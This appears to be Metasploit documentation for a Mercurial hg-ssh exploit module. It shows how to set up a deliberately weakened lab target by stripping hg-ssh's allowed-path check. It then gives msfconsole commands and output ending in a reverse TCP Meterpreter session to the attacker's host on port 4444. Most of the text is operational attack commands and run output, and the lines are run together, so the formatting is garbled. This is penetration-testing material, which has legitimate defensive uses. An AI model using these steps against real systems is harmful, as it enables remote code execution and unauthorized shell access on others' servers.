documentation/modules/exploit/linux/ssh/mercurial_ssh_exec.md
This module was successfully tested against:
vi $(which hg-ssh)
if repo in allowed paths: with if True:cmd = ['-R', repo, 'serve', 'stdio'] with cmd = ['-R', path, 'serve', 'stdio']mkdir -p repos/repo1cd repos/repo1echo "hello world" > READMEhg add READMEhg commit -m "Adds README"command="hg-ssh ~/repos/repo1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding INSERT_SSH_PUB_KEYssh [email protected] ifconfiguse exploit/linux/ssh/mercurial_ssh_execset RHOST <ip>set LHOST <ip>set SSH_PRIV_KEY_FILE /Users/jsmith/.ssh/id_rsaexploitmsf exploit(mercurial_ssh_exec) > exploit
[*] Started reverse TCP handler on 192.168.10.37:4444
[*] 192.168.10.99:22 - 192.168.10.99:22 - Attempting to login...
[+] 192.168.10.99:22 - SSH connection is established.
[+] 192.168.10.99:22 - Triggered Debugger (entering debugger - type c to continue starting hg or h for help)
[*] Sending stage (39842 bytes) to 192.168.10.99
[*] Meterpreter session 1 opened (192.168.10.37:4444 -> 192.168.10.99:57606) at 2017-04-18 19:16:44 -0400